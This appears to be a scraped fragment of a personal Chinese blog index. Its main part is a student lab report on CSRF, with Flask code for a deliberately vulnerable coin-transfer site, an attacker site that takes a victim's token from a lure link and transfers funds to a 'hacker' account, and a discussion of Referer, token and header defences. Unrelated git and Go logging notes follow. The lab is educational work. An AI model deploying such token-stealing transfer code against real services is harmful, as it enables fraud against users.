\u0026#34;UPDATE user SET cookie = %s WHERE id = %s\u0026#34; cursor.execute(query, (user_token.hexdigest(), user_id)) db.commit() return response else: return \u0026#34;用户名或密码错误\u0026#34; return render_template(\u0026#39;login.html\u0026#39;) # 转账功能 @app.route(\u0026#39;/transfer\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) def transfer(): user_id_cookie = request.cookies.get(\u0026#39;user_id\u0026#39;) user_token_cookie = request.cookies.get(\u0026#39;user_token\u0026#39;) if not user_id_cookie or not user_token_cookie: return \u0026#34;你的用户身份已过期，请重新登录\u0026#34; # 比较user_token是否与数据库中的cookie一致 # 根据user_id从数据库中获取cookie cursor.fetchall() query = \u0026#34;SELECT cookie FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) cookie = cursor.fetchone()[0] if cookie != user_token_cookie: return \u0026#34;cookie匹配失败！你的用户身份已过期，请重新登录\u0026#34; # 获取转账目标用户的ID和金额 target_id = request.form[\u0026#39;target_id\u0026#39;] amount = request.form[\u0026#39;amount\u0026#39;] # 检测转账金额是否合法 # 用正则表达式匹配小数 if not re.match(r\u0026#39;^\\d+(\\.\\d+)?$\u0026#39;, amount): return \u0026#34;转账金额必须为数字\u0026#34; if float(amount) \u0026lt;= 0: return \u0026#34;转账金额必须大于0\u0026#34; # 检查转账目标用户是否存在 cursor.fetchall() query = \u0026#34;SELECT * FROM user WHERE id = %s\u0026#34; cursor.execute(query, (target_id,)) target = cursor.fetchone() if not target: return \u0026#34;目标账户不存在\u0026#34; # 检测当前账户是否有这么多钱 cursor.fetchall() query = \u0026#34;SELECT * FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) user = cursor.fetchone() if user[3] \u0026lt; float(amount): return \u0026#34;余额不足\u0026#34; # 执行转账操作 cursor.fetchall() query = \u0026#34;UPDATE user SET balance = balance - %s WHERE id = %s\u0026#34; cursor.execute(query, (amount, user_id_cookie)) query = \u0026#34;UPDATE user SET balance = balance + %s WHERE id = %s\u0026#34; cursor.execute(query, (amount, target_id)) db.commit() # 更新账户信息，返回网站 cursor.fetchall() query = \u0026#34;SELECT * FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) user = cursor.fetchone() return render_template(\u0026#39;home.html\u0026#39;, user_id=user[0], balance=user[3], user_token=user[2],transfer_success=True) if __name__ == \u0026#39;__main__\u0026#39;: app.run() webB\nimport mysql.connector from flask import Flask, request app = Flask(__name__) db = mysql.connector.connect( host=\u0026#34;localhost\u0026#34;, user=\u0026#34;root\u0026#34;, password=\u0026#34;111111\u0026#34;, database=\u0026#34;web-csrf\u0026#34; ) cursor = db.cursor() # 转账请求 @app.route(\u0026#39;/\u0026#39;) def csrf_attack(): user_id_cookie = request.args.get(\u0026#39;user_id\u0026#39;) user_token_cookie = request.args.get(\u0026#39;user_token\u0026#39;) if user_token_cookie or user_id_cookie: # 模拟服务器的验证操作，通过user_id_cookie查询对应的user_token，检查user_token_cookie是否与user_token相同，相同就允许执行转账操作 query = \u0026#34;SELECT cookie FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) user_token = cursor.fetchone()[0] if user_token == user_token_cookie: # 执行转账操作 cursor.fetchall() query = \u0026#34;UPDATE user SET balance = balance - 100 WHERE id = \u0026#39;user_id_cookie\u0026#39;\u0026#34; cursor.execute(query) query = \u0026#34;UPDATE user SET balance = balance + 100 WHERE id = \u0026#39;hacker\u0026#39;\u0026#34; cursor.execute(query) db.commit() return \u0026#34;\u0026lt;h1 style=\u0026#39;color: red; text-align: center; padding: 20px;\u0026#39;\u0026gt;CSRF攻击执行成功！\u0026lt;/h1\u0026gt;\u0026#34; else: print(\u0026#34;user_token:\u0026#34;, user_token) print(\u0026#34;user_token_cookie:\u0026#34;, user_token_cookie) return \u0026#34;Invalid user credentials\u0026#34; else: return \u0026#34;没有得到cookie信息，无法发起CSRF攻击\u0026#34; if __name__ == \u0026#39;__main__\u0026#39;: # 将 webB 运行在 localhost 的 5001 端口上 app.run() login.html\n\u0026lt;!-- login.html --\u0026gt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;DoggyCoin用户登录\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../static/style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;DoggyCoin用户登录\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/login\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;username\u0026#34;\u0026gt;用户名:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;username\u0026#34; name=\u0026#34;username\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;password\u0026#34;\u0026gt;密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;登录\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; home.html\n\u0026lt;!-- home.html --\u0026gt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;DoggyCoin充值转账中心\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../static/style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;user-info\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;username\u0026#34;\u0026gt;当前用户: {{ user_id }}\u0026lt;/span\u0026gt; \u0026lt;a class=\u0026#34;logout-link\u0026#34; href=\u0026#34;/login\u0026#34;\u0026gt;退出登录\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;h1\u0026gt;欢迎访问DoggyCoin转账中心\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;账户余额: {{ balance }}\u0026lt;/h2\u0026gt; \u0026lt;script\u0026gt; // 检查是否存在转账成功的消息 var transferSuccess = \u0026#34;{{ transfer_success }}\u0026#34;; if (transferSuccess) { // 显示转账成功的消息提示框 alert(\u0026#34;转账成功！\u0026#34;); } \u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;/transfer\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;target_id\u0026#34;\u0026gt;转账ID:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;target_id\u0026#34; name=\u0026#34;target_id\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;amount\u0026#34;\u0026gt;转账金额:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;amount\u0026#34; name=\u0026#34;amount\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;确认转账\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;a href=\u0026#34;http://127.0.0.1:5001?user_id={{ user_id }}\u0026amp;user_token={{ user_token }}\u0026#34;\u0026gt;一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！\u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; style.css\n/* style.css */ body { background-color: #f2f2f2; font-family: Arial, sans-serif; } .container { display: flex; justify-content: space-between; align-items: center; padding: 10px; background-color: #fff; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); } .logo { font-size: 24px; font-weight: bold; } .user-info { display: flex; align-items: center; } .user-info .username { margin-right: 10px; } .logout-link { margin: 0; display: flex; align-items: center; color: #4CAF50; text-decoration: none; } h1 { color: #333; text-align: center; } form { max-width: 400px; margin: 0 auto; padding: 20px; background-color: #fff; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } label { display: block; margin-bottom: 10px; font-weight: bold; } input[type=\u0026#34;text\u0026#34;], input[type=\u0026#34;password\u0026#34;] { width: 94%; padding: 10px; border: 1px solid #ccc; border-radius: 3px; } button { display: block; width: 100%; padding: 10px; margin-top: 10px; background-color: #4CAF50; color: #fff; border: none; border-radius: 3px; cursor: pointer; } h2 { margin-top: 20px; font-size: 18px; text-align: center; } a { display: block; text-align: center; margin-top: 20px; color: #4CAF50; text-decoration: none; } 3、实现原理 ​\twebA是一个存在CSRF漏洞的虚拟货币的转账网站，网站上存在着一些虚假宣传的诈骗广告，其中“一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！”这个链接地址就是一中模拟的诈骗手段。\n​\t当用户点击这个链接，就会带着在webA中的登录信息（cookie）去访问webB，构建这个webB的黑客就可以获取到用户B的cookie信息，并且向webA发送请求转账的请求，就可以绕过服务器的验证达到冒充用户去进行转账操作。\n4、实现难点 webA需要具备登录登出、转账、转账时需要token进行验证等必备功能；\nwebB需要具备使用用户的cookie数据向webA发送转账的请求，而不仅仅是在本地直接操作数据库实现修改数据；\n数据库中需要存放用户ID、用户密码、用户的cookie、账户余额等信息；\n对于cookie数据的保存、设计、更新策略。\n5、实验过程 1、数据库的设计\n​\t数据库中主要包含\u0026quot;id\u0026rdquo;, \u0026ldquo;pwd\u0026rdquo;, \u0026ldquo;cookie\u0026rdquo;, \u0026ldquo;balance\u0026quot;字段，id是他们的登陆账户名，pwd是登陆密码，cookie表示他们的用户安全令牌，当转账的时候需要进行验证，balance表示账户余额。通过数据生成出一批用户。\n​\t其中hacker代表黑客，其他的都是普通用户。\n2、验证webA功能的完整性\n​\twebA从服务器启动之后，运行在本地的5000端口上，进行访问之后会出现用户的登陆界面，输入在数据库中注册的用户名和密码进行登录。 ​\t登录成功之后会进入到DoggyCoin转账中心，在网站左上角显示当前的登陆用户名和退出登录返回登录页面的按钮，中间的form表单就是正常进行转账操作的地方，输入正确的转账ID和合法的转账金额之后就能够进行转账操作。\n​\t这里也简单的进行了一些对于非法输入的防护，以防止出现服务器内部错误。比如对于转账ID的是否存在，转账金额是否大于0，使用正则表达式匹配转账金额小数点的情况等等。\n3、进行CSRF漏洞的利用攻击。\n​\t当用户在登录webA的时候，服务器根据user1的id和登陆时间在后台生成一个md5摘要作为user1的cookie，存储在数据库中并且返回给user。\n​\t在webA上有一个诈骗链接，就是在转账表单下方的绿色链接“一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！”，这个就是模拟的一个网页上的弹窗或者是通过电子邮件等方式，诱使用户点击从当前网页转到另外一个网页上，该链接的HTML为：\n\u0026lt;a href=\u0026#34;http://127.0.0.1:5001?user_id={{ user_id }}\u0026amp;user_token={{ user_token }}\u0026#34;\u0026gt;一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！\u0026lt;/a\u0026gt; ​\t当用户点击链接之后就会带着当前网站上的cookie信息去访问webB，而webB的后台就从这个链接中获取到用户的user_id和user_token信息，就可以进行转账的操作了，就自动地从当前用户向hacker账户中转账100\n​\twebB是运行在本地的5001端口上的，当直接访问127.0.0.1:5001的时候，由于没有进行user_id和user_token的转发，所以在webB上无法得到用户的信息，也就不能够进行CSRF攻击。\n6、防护策略 在防御CSRF（Cross-Site Request Forgery）攻击时，验证HTTP Referer字段是一种常见的方法之一。HTTP Referer字段用于指示请求的源头，即告诉服务器该请求是从哪个页面发起的。通过验证HTTP Referer字段，可以确保请求来源于预期的页面，从而减少CSRF攻击的风险。\n要实现验证HTTP Referer字段的防御措施，可以按照以下步骤进行：\n在服务器端验证：当服务器接收到请求时，首先检查HTTP头部中的Referer字段。该字段包含了请求的来源页面的URL。服务器可以通过比较Referer字段的值与预期的来源页面的URL进行验证。如果Referer字段的值与预期不符，服务器可以拒绝该请求。 验证来源页面的域名：为了增加安全性，可以进一步验证Referer字段中的来源页面域名。服务器可以检查Referer字段中的域名与当前请求的域名是否一致。这可以防止攻击者通过篡改Referer字段来绕过验证。 考虑Referer字段的可靠性：需要注意的是，Referer字段并非百分之百可靠，因为它可以被篡改或者被一些浏览器或代理程序禁用。因此，验证Referer字段应该作为综合的安全策略的一部分，而不是单一的依赖点。 1、攻击简介 CSRF（Cross Site Request Forgery，跨站域请求伪造）\n与XSS攻击不同之处：XSS 利用站点内的信任用户，而 CSRF 则通过伪装成来自受信任用户的请求来利用受信任的网站。\n其中Web A为存在CSRF漏洞的网站，Web B为攻击者构建的恶意网站，User C为Web A网站的合法用户。 CSRF攻击攻击原理及过程如下：\n用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A； 2.在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A； 用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B； 网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A； 浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。 两个条件：\nC 用户访问站点 A 并产生了 cookie C 用户没有退出 A 同时访问了 B 以下情况都是 CSRF 攻击的潜在风险：\n你不能保证你登录了一个网站后，不再打开一个 tab 页面并访问另外的网站。 你不能保证你关闭浏览器了后，你本地的 Cookie 立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了…） 上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。\n2、CSRF 的危害 你这可以这么理解 CSRF 攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF 能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账…造成的问题包括：个人隐私泄露以及财产安全。\n3、CSRF 的攻击类型 GET型 如果一个网站某个地方的功能，比如用户修改邮箱是通过GET请求进行修改的。如：/user.php?id=1\u0026amp;email=123@163.com ，这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1\u0026amp;email=abc@163.com ，然后通过各种手段发送给被攻击者，诱使被攻击者点击我们的链接，当用户刚好在访问这个网站，他同时又点击了这个链接，那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了\nPOST型 在普通用户的眼中，点击网页-\u0026gt;打开试看视频-\u0026gt;购买视频 是一个很正常的流程。可是在攻击者的眼中是不正常的，这是由于开发者安全意识不足所造成的。\n攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如：/coures/user/handler/25332/buy.php 。通过提交表单，buy.php处理购买的信息，这里的25532为视频ID。那么攻击者现在构造一个链接，链接中包含以下内容：\n1 2 3 4 当用户访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作，自动购买了 id 为 25332 的视频，从而导致受害者余额扣除。\n4、CSRF 的防御 4.1\t验证 HTTP Referer 字段 ​\t根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址 。在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如需要访问 http://bank.example/withdraw?account=bob\u0026amp;amount=1000000\u0026amp;for=Mallory，用户必须先登陆 bank.example，然后通过点击页面上的按钮来触发转账事件。因此，要防御 CSRF 攻击，网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank.example 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。\n优点： 这种方法的显而易见的好处就是简单易行，网站的普通开发人员不需要操心 CSRF 的漏洞，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。\n缺点：\n​\t然而，这种方法并非万无一失。Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，但是每个浏览器对于 Referer 的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来讲，这样并不安全。事实上，对于某些浏览器，比如 IE6 或 FF2，目前已经有一些方法可以 篡改 Referer 值 。如果网站支持IE6 浏览器，黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址，这样就可以通过验证，从而进行 CSRF 攻击。 ​\t即便是使用最新的浏览器，黑客无法篡改 Referer 值，这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源，有些用户认为这样会侵犯到他们自己的隐私权，特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此，用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时，网站会因为请求没有 Referer 值而认为是 CSRF 攻击，拒绝合法用户的访问。\n4.2\t在请求地址中添加 token 并验证 ​\tCSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于 在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中 。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。\n优点： 这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并 放于 session 之中 ，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求，token 将附在请求地址之后，这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说，要在 form 的最后加上 ，这样就把 token 以参数的形式加入请求了。\n缺点：\n​\t但是，在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的，并且很容易漏掉，通常使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树，对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求，但是对于在页面加载之后动态生成的 html 代码，这种方法就没有作用，还需要程序员在编码时手动添加 token。 ​\t该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站，黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token，黑客可以在自己的网站上得到这个 token，并马上就可以发动 CSRF 攻击。为了避免这一点，系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。不过，即使这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。\n4.3\t在 HTTP 头中自定义属性并验证 ​\t这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去。\n缺点：\n​\t然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新，并非所有的请求都适合用这个类来发起，而且通过该类请求得到的页面不能被浏览器所记录下，从而进行前进，后退，刷新，收藏等操作，给用户带来不便。 另外，对于没有进行 CSRF 防护的遗留系统来说，要采用这种方法来进行防护，要把所有请求都改为 XMLHttpRequest 请求，这样几乎是要重写整个网站，这代价无疑是不能接受的。\n5、WAF 防御 CSRF 以上防御是技术层面的讨论。实际中进行 CSRF 防护的是使用 WAF（Web应用防火墙，如免费的ShareWAF）。因为 CSRF 只是众多web攻击中的一种，网络攻击还有很多种。WAF可以抵御绝大多数的攻击，可极大的提高网站安全性。\n6、实验环境搭建 WebA\n具有登录的功能\n存在CSRF漏洞，对于登录的用户返回一个cookie\nWebB\n能够发送访问WebA的请求\n5、移动平台安全（Android/iOS） ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/network-security/","summary":"1.\t加密与认证 任务 采用Java/Python语言编写一个较为完整的加密与认证程序，要求具有：\n具有较完整的图形化界面； 使用MD5、SHA系列算法，实现消息摘要，确保消息的完整性； 使用DES、AES等算法实现对称加密，确保消息的机密性； 使用RSA算法，实现公钥加密，且用私钥解密，比较不对称加密和对称加密的性能； 实现基于数字证书的数字签名和验证（含证书的生成和创建）； 1.1\t消息摘要 1.1.1\t消息摘要的作用 在网络安全目标中，要求信息在生成、存储或传输过程中保证不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏和丢失，因此需要一个较为安全的标准和算法，以保证数据的完整性。\n常见的消息摘要算法有： Ron Rivest设计的MD（Standard For Message Digest，消息摘要标准）算法 NIST设计的SHA（Secure Hash Algorithm，安全散列算法）\n1.1.2\t单向散列函数 1\t特点 不定长的输入和定长的输出；\n对于及其微小的变化，如1bit的变化，器哈希函数所产生的值也差异巨大；\n对于不同的原像都有不同的映像，从散列值不可能推导出消息M ，也很难通过伪造消息M’来生成相同的散列值。\nHash函数的值称为作为自变量的消息的“散列值”或“消息摘要”、“数字指纹”\n2\t哈希函数的分类 1.根据安全水平 弱无碰撞 强无碰撞 ​\t注：强无碰撞自然含弱无碰撞！\n2.根据是否使用密钥 带秘密密钥的Hash函数：消息的散列值由只有通信双方知道的秘密密钥K来控制，此时散列值称作MAC(Message Authentication Code) 不带秘密密钥的Hash函数：消息的散列值的产生无需使用密钥，此时散列值称作MDC(Message Detection Code) 3\t哈希函数的应用 由Hash函数产生消息的散列值 以消息的散列值来判别消息的完整性 用加密消息的散列值来产生数字签名 用口令的散列值来安全存储口令（认证系统中的口令列表中仅存储口令的Hash函数值，以避免口令被窃取。认证时用输入口令的Hash函数值与其比较） 4\t安全哈希函数的实现 输入数据分成L个长度固定为r的分组：M=(M1,M2,…,ML) 末组附加消息的长度值并通过填充凑足r位 压缩函数 f使用n位的链接变量Hi ,其初值H0=IV可任意指定 压缩函数 f的最后n位输出HL取作散列值 5\t哈希函数：生日攻击 当哈希函数的输入位数太短的时候，就容易产生哈希碰撞，即出现两个原像对应用一个映像的问题。\n生日问题 一个教室中至少有几个学生才能使有两个学生生日相同的概率不小于1/2； 等价于“球匣问题” 设J个球随机扔进N个匣子，存在一个匣子中至少有两个球的概率为p，则可以推导出: J2≈-2Nln(1-p)或 p≈ 1-e-J2/2/N 答案 将365个生日看作N=365个匣子，将学生看作球，p=0.","title":"网络安全——认证与加密"},{"content":"问题初现 在Windows上，挂了Clash，平时网页版的GitHub还是能正常跑的，因为平时开发主要是在Ubuntu上，所以git工具在Windows上用的不多。这次突发奇想，想把Windows和Ubuntu上的笔记整合到一个GitHub仓库上，并实现更新文件后自动拉取推送的功能，所以我现在Ubuntu上推送了一部分笔记到仓库中，再计划将Windows上的笔记也弄上去。\n然后在配置Windows上的笔记文件夹Git环境，发现git老是报错ssh22端口连接超时。\n我检查了：\nGitHub仓库上的SSH公钥配置，正常 Git的HTTP和HTTPS代理，正常 // 查看git有没有代理 git config --global -l // 配置git代理 git config --global http.proxy 127.0.0.1:7890 git config --global https.proxy 127.0.0.1:7890 // 取消git网络代理 git config --global --unset http.proxy git config --global --unset https.proxy 也想不通为啥，然后我就在博客园中看到了一篇文章：https://www.cnblogs.com/oldboyooxx/p/10387150.html\n主要就是说：1、检查IP配置问题；2、检查防火墙状态\n然后我就去ping github.com，发现ping不通，开代理不开代理都不行，怪！\n我想起来可以通过改主机hosts的方式访问，https://www.cnblogs.com/xuexianqi/p/13219719.html，改了之后github.com就能ping通了。\n再然后就发现SSH22端口超时的问题也解决了，然后就开始合并笔记了~\n脚本自动同步 对于笔记自动保存之后每次都要git手动提交未免也太麻烦了，然后我想试试通过一个git脚本来自动完成就好了。\ngit pull origin master git add . git commit -m \u0026#34;update\u0026#34; git push origin master 脚本的内容很简单啊，就是基础的这几步命令。\n现在的问题就是怎么让他在保存文件的时候自动执行呢？而且希望如果同步的时候出错，能够把错误信息打印出来，可以是日志的方式。\n人工办法：在写笔记之前进行一次脚本运行，写笔记，写完笔记之后，再运行一次脚本。\n稍微聪明一点的办法：在打开和关闭文件夹/Typora的时候运行脚本。\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/ping-github.com/","summary":"问题初现 在Windows上，挂了Clash，平时网页版的GitHub还是能正常跑的，因为平时开发主要是在Ubuntu上，所以git工具在Windows上用的不多。这次突发奇想，想把Windows和Ubuntu上的笔记整合到一个GitHub仓库上，并实现更新文件后自动拉取推送的功能，所以我现在Ubuntu上推送了一部分笔记到仓库中，再计划将Windows上的笔记也弄上去。\n然后在配置Windows上的笔记文件夹Git环境，发现git老是报错ssh22端口连接超时。\n我检查了：\nGitHub仓库上的SSH公钥配置，正常 Git的HTTP和HTTPS代理，正常 // 查看git有没有代理 git config --global -l // 配置git代理 git config --global http.proxy 127.0.0.1:7890 git config --global https.proxy 127.0.0.1:7890 // 取消git网络代理 git config --global --unset http.proxy git config --global --unset https.proxy 也想不通为啥，然后我就在博客园中看到了一篇文章：https://www.cnblogs.com/oldboyooxx/p/10387150.html\n主要就是说：1、检查IP配置问题；2、检查防火墙状态\n然后我就去ping github.com，发现ping不通，开代理不开代理都不行，怪！\n我想起来可以通过改主机hosts的方式访问，https://www.cnblogs.com/xuexianqi/p/13219719.html，改了之后github.com就能ping通了。\n再然后就发现SSH22端口超时的问题也解决了，然后就开始合并笔记了~\n脚本自动同步 对于笔记自动保存之后每次都要git手动提交未免也太麻烦了，然后我想试试通过一个git脚本来自动完成就好了。\ngit pull origin master git add . git commit -m \u0026#34;update\u0026#34; git push origin master 脚本的内容很简单啊，就是基础的这几步命令。\n现在的问题就是怎么让他在保存文件的时候自动执行呢？而且希望如果同步的时候出错，能够把错误信息打印出来，可以是日志的方式。\n人工办法：在写笔记之前进行一次脚本运行，写笔记，写完笔记之后，再运行一次脚本。\n稍微聪明一点的办法：在打开和关闭文件夹/Typora的时候运行脚本。","title":"ping github.com"},{"content":"log Go语言内置的log包实现了简单的日志服务。本文介绍了标准库log的基本使用。\nGo内置的log库功能有限，例如无法满足记录不同级别日志的情况，我们在实际的项目中根据自己的需要选择使用第三方的日志库，如logrus、zap等。\n使用Logger log包定义了Logger类型，该类型提供了一些格式化输出的方法。本包也提供了一个预定义的“标准”logger，可以通过调用函数Print系列(Print|Printf|Println）、Fatal系列（Fatal|Fatalf|Fatalln）、和Panic系列（Panic|Panicf|Panicln）来使用，比自行创建一个logger对象更容易使用。\n例如，我们可以像下面的代码一样直接通过log包来调用上面提到的方法，默认它们会将日志信息打印到终端界面：\npackage main import ( \u0026amp;quot;log\u0026amp;quot; ) func main() { log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) v := \u0026amp;quot;很普通的\u0026amp;quot; log.Printf(\u0026amp;quot;这是一条%s日志。\\n\u0026amp;quot;, v) log.Fatalln(\u0026amp;quot;这是一条会触发fatal的日志。\u0026amp;quot;) log.Panicln(\u0026amp;quot;这是一条会触发panic的日志。\u0026amp;quot;) } 编译并执行上面的代码会得到如下输出：\n2017/06/19 14:04:17 这是一条很普通的日志。 2017/06/19 14:04:17 这是一条很普通的日志。 2017/06/19 14:04:17 这是一条会触发fatal的日志。 logger会打印每条日志信息的日期、时间，默认输出到系统的标准错误。Fatal系列函数会在写入日志信息后调用os.Exit(1)。Panic系列函数会在写入日志信息后panic。\n配置logger 标准logger的配置 默认情况下的logger只会提供日志的时间信息，但是很多情况下我们希望得到更多信息，比如记录该日志的文件名和行号等。log标准库中为我们提供了定制这些设置的方法。\nlog标准库中的Flags函数会返回标准logger的输出配置，而SetFlags函数用来设置标准logger的输出配置。\nfunc Flags() int func SetFlags(flag int) flag选项 log标准库提供了如下的flag选项，它们是一系列定义好的常量。\nconst ( // 控制输出日志信息的细节，不能控制输出的顺序和格式。 // 输出的日志在每一项后会有一个冒号分隔：例如2009/01/23 01:23:23.123123 /a/b/c/d.go:23: message Ldate = 1 \u0026lt;\u0026lt; iota // 日期：2009/01/23 Ltime // 时间：01:23:23 Lmicroseconds // 微秒级别的时间：01:23:23.123123（用于增强Ltime位） Llongfile // 文件全路径名+行号： /a/b/c/d.go:23 Lshortfile // 文件名+行号：d.go:23（会覆盖掉Llongfile） LUTC // 使用UTC时间 LstdFlags = Ldate | Ltime // 标准logger的初始值 ) 下面我们在记录日志之前先设置一下标准logger的输出选项如下：\nfunc main() { log.SetFlags(log.Llongfile | log.Lmicroseconds | log.Ldate) log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) } 